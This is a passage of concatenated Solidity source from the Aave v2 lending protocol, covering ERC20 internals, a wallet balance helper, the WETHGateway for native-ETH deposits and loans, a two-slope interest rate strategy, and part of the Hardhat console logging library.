`account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Address} from '../dependencies/openzeppelin/contracts/Address.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title WalletBalanceProvider contract * @author Aave, influenced by https://github.com/wbobeirne/eth-balance-checker/blob/master/contracts/BalanceChecker.sol * @notice Implements a logic of getting multiple tokens balance for one user address * @dev NOTE: THIS CONTRACT IS NOT USED WITHIN THE AAVE PROTOCOL. It's an accessory contract used to reduce the number of calls * towards the blockchain from the Aave backend. **/ contract WalletBalanceProvider { using Address for address payable; using Address for address; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; address constant MOCK_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** @dev Fallback function, don't accept any ETH **/ receive() external payable { //only contracts can send ETH to the core require(msg.sender.isContract(), '22'); } /** @dev Check the token balance of a wallet in a token contract Returns the balance of the token for user. Avoids possible errors: - return 0 on non-contract address **/ function balanceOf(address user, address token) public view returns (uint256) { if (token == MOCK_ETH_ADDRESS) { return user.balance; // ETH balance // check if token is actually a contract } else if (token.isContract()) { return IERC20(token).balanceOf(user); } revert('INVALID_TOKEN'); } /** * @notice Fetches, for a list of _users and _tokens (ETH included with mock address), the balances * @param users The list of users * @param tokens The list of tokens * @return And array with the concatenation of, for each user, his/her balances **/ function batchBalanceOf(address[] calldata users, address[] calldata tokens) external view returns (uint256[] memory) { uint256[] memory balances = new uint256[](users.length * tokens.length); for (uint256 i = 0; i < users.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { balances[i * tokens.length + j] = balanceOf(users[i], tokens[j]); } } return balances; } /** @dev provides balances of user wallet for all reserves available on the pool */ function getUserWalletBalances(address provider, address user) external view returns (address[] memory, uint256[] memory) { ILendingPool pool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool()); address[] memory reserves = pool.getReservesList(); address[] memory reservesWithEth = new address[](reserves.length + 1); for (uint256 i = 0; i < reserves.length; i++) { reservesWithEth[i] = reserves[i]; } reservesWithEth[reserves.length] = MOCK_ETH_ADDRESS; uint256[] memory balances = new uint256[](reservesWithEth.length); for (uint256 j = 0; j < reserves.length; j++) { DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(reservesWithEth[j]); (bool isActive, , , ) = configuration.getFlagsMemory(); if (!isActive) { balances[j] = 0; continue; } balances[j] = balanceOf(user, reservesWithEth[j]); } balances[reserves.length] = balanceOf(user, MOCK_ETH_ADDRESS); return (reservesWithEth, balances); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IWETH} from './interfaces/IWETH.sol'; import {IWETHGateway} from './interfaces/IWETHGateway.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract WETHGateway is IWETHGateway, Ownable { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; IWETH internal immutable WETH; /** * @dev Sets the WETH address and the LendingPoolAddressesProvider address. Infinite approves lending pool. * @param weth Address of the Wrapped Ether contract **/ constructor(address weth) public { WETH = IWETH(weth); } function authorizeLendingPool(address lendingPool) external onlyOwner { WETH.approve(lendingPool, uint256(-1)); } /** * @dev deposits WETH into the reserve, using native ETH. A corresponding amount of the overlying asset (aTokens) * is minted. * @param lendingPool address of the targeted underlying lending pool * @param onBehalfOf address of the user who will receive the aTokens representing the deposit * @param referralCode integrators are assigned a referral code and can potentially receive rewards. **/ function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable override { WETH.deposit{value: msg.value}(); ILendingPool(lendingPool).deposit(address(WETH), msg.value, onBehalfOf, referralCode); } /** * @dev withdraws the WETH _reserves of msg.sender. * @param lendingPool address of the targeted underlying lending pool * @param amount amount of aWETH to withdraw and receive native ETH * @param to address of the user who will receive native ETH */ function withdrawETH( address lendingPool, uint256 amount, address to ) external override { IAToken aWETH = IAToken(ILendingPool(lendingPool).getReserveData(address(WETH)).aTokenAddress); uint256 userBalance = aWETH.balanceOf(msg.sender); uint256 amountToWithdraw = amount; // if amount is equal to uint(-1), the user wants to redeem everything if (amount == type(uint256).max) { amountToWithdraw = userBalance; } aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); ILendingPool(lendingPool).withdraw(address(WETH), amountToWithdraw, address(this)); WETH.withdraw(amountToWithdraw); _safeTransferETH(to, amountToWithdraw); } /** * @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified). * @param lendingPool address of the targeted underlying lending pool * @param amount the amount to repay, or uint256(-1) if the user wants to repay everything * @param rateMode the rate mode to repay * @param onBehalfOf the address for which msg.sender is repaying */ function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable override { (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebtMemory( onBehalfOf, ILendingPool(lendingPool).getReserveData(address(WETH)) ); uint256 paybackAmount = DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); WETH.deposit{value: paybackAmount}(); ILendingPool(lendingPool).repay(address(WETH), msg.value, rateMode, onBehalfOf); // refund remaining dust eth if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); } /** * @dev borrow WETH, unwraps to ETH and send both the ETH and DebtTokens to msg.sender, via `approveDelegation` and onBehalf argument in `LendingPool.borrow`. * @param lendingPool address of the targeted underlying lending pool * @param amount the amount of ETH to borrow * @param interesRateMode the interest rate mode * @param referralCode integrators are assigned a referral code and can potentially receive rewards */ function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external override { ILendingPool(lendingPool).borrow( address(WETH), amount, interesRateMode, referralCode, msg.sender ); WETH.withdraw(amount); _safeTransferETH(msg.sender, amount); } /** * @dev transfer ETH to an address, revert if it fails. * @param to recipient of the transfer * @param value the amount to send */ function _safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } /** * @dev transfer ERC20 from the utility contract, for ERC20 recovery in case of stuck tokens due * direct transfers to the contract address. * @param token token to transfer * @param to recipient of the transfer * @param amount amount to send */ function emergencyTokenTransfer( address token, address to, uint256 amount ) external onlyOwner { IERC20(token).transfer(to, amount); } /** * @dev transfer native Ether from the utility contract, for native Ether recovery in case of stuck Ether * due selfdestructs or transfer ether to pre-computated contract address before deployment. * @param to recipient of the transfer * @param amount amount to send */ function emergencyEtherTransfer(address to, uint256 amount) external onlyOwner { _safeTransferETH(to, amount); } /** * @dev Get WETH address used by WETHGateway */ function getWETHAddress() external view returns (address) { return address(WETH); } /** * @dev Only WETH contract is allowed to transfer ETH here. Prevent other addresses to send Ether to this contract. */ receive() external payable { require(msg.sender == address(WETH), 'Receive not allowed'); } /** * @dev Revert fallback calls */ fallback() external payable { revert('Fallback not allowed'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETHGateway { function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable; function withdrawETH( address lendingPool, uint256 amount, address onBehalfOf ) external; function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable; function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import 'hardhat/console.sol'; /** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instance of this same contract, can't be used across different Aave markets, due to the caching * of the LendingPoolAddressesProvider * @author Aave **/ contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in ray **/ uint256 public immutable OPTIMAL_UTILIZATION_RATE; /** * @dev This constant represents the excess utilization rate above the optimal. It's always equal to * 1-optimal utilization rate. Added as a constant here for gas optimizations. * Expressed in ray **/ uint256 public immutable EXCESS_UTILIZATION_RATE; ILendingPoolAddressesProvider public immutable addressesProvider; // Base variable borrow rate when Utilization rate = 0. Expressed in ray uint256 internal immutable _baseVariableBorrowRate; // Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope1; // Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope2; // Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope1; // Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope2; constructor( ILendingPoolAddressesProvider provider, uint256 optimalUtilizationRate, uint256 baseVariableBorrowRate, uint256 variableRateSlope1, uint256 variableRateSlope2, uint256 stableRateSlope1, uint256 stableRateSlope2 ) public { OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate; EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate); addressesProvider = provider; _baseVariableBorrowRate = baseVariableBorrowRate; _variableRateSlope1 = variableRateSlope1; _variableRateSlope2 = variableRateSlope2; _stableRateSlope1 = stableRateSlope1; _stableRateSlope2 = stableRateSlope2; } function variableRateSlope1() external view returns (uint256) { return _variableRateSlope1; } function variableRateSlope2() external view returns (uint256) { return _variableRateSlope2; } function stableRateSlope1() external view returns (uint256) { return _stableRateSlope1; } function stableRateSlope2() external view returns (uint256) { return _stableRateSlope2; } function baseVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate; } function getMaxVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2); } /** * @dev Calculates the interest rates depending on the reserve's state and configurations * @param reserve The address of the reserve * @param liquidityAdded The liquidity added during the operation * @param liquidityTaken The liquidity taken during the operation * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { uint256 availableLiquidity = IERC20(reserve).balanceOf(aToken); //avoid stack too deep availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken); return calculateInterestRates( reserve, availableLiquidity, totalStableDebt, totalVariableDebt, averageStableBorrowRate, reserveFactor ); } struct CalcInterestRatesLocalVars { uint256 totalDebt; uint256 currentVariableBorrowRate; uint256 currentStableBorrowRate; uint256 currentLiquidityRate; uint256 utilizationRate; } /** * @dev Calculates the interest rates depending on the reserve's state and configurations. * NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface. * New protocol implementation uses the new calculateInterestRates() interface * @param reserve The address of the reserve * @param availableLiquidity The liquidity available in the corresponding aToken * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) public view override returns ( uint256, uint256, uint256 ) { CalcInterestRatesLocalVars memory vars; vars.totalDebt = totalStableDebt.add(totalVariableDebt); vars.currentVariableBorrowRate = 0; vars.currentStableBorrowRate = 0; vars.currentLiquidityRate = 0; vars.utilizationRate = vars.totalDebt == 0 ? 0 : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt)); vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle()) .getMarketBorrowRate(reserve); if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) { uint256 excessUtilizationRateRatio = vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE); vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add( _stableRateSlope2.rayMul(excessUtilizationRateRatio) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add( _variableRateSlope2.rayMul(excessUtilizationRateRatio) ); } else { vars.currentStableBorrowRate = vars.currentStableBorrowRate.add( _stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE)) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add( vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE) ); } vars.currentLiquidityRate = _getOverallBorrowRate( totalStableDebt, totalVariableDebt, vars .currentVariableBorrowRate, averageStableBorrowRate ) .rayMul(vars.utilizationRate) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor)); return ( vars.currentLiquidityRate, vars.currentStableBorrowRate, vars.currentVariableBorrowRate ); } /** * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param currentVariableBorrowRate The current variable borrow rate of the reserve * @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans * @return The weighted averaged borrow rate **/ function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay()); return overallBorrowRate; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingRateOracle interface * @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations **/ interface ILendingRateOracle { /** @dev returns the market borrow rate in ray **/ function getMarketBorrowRate(address asset) external view returns (uint256); /** @dev sets the market borrow rate. Rate value must be in ray **/ function setMarketBorrowRate(address asset, uint256 rate) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { 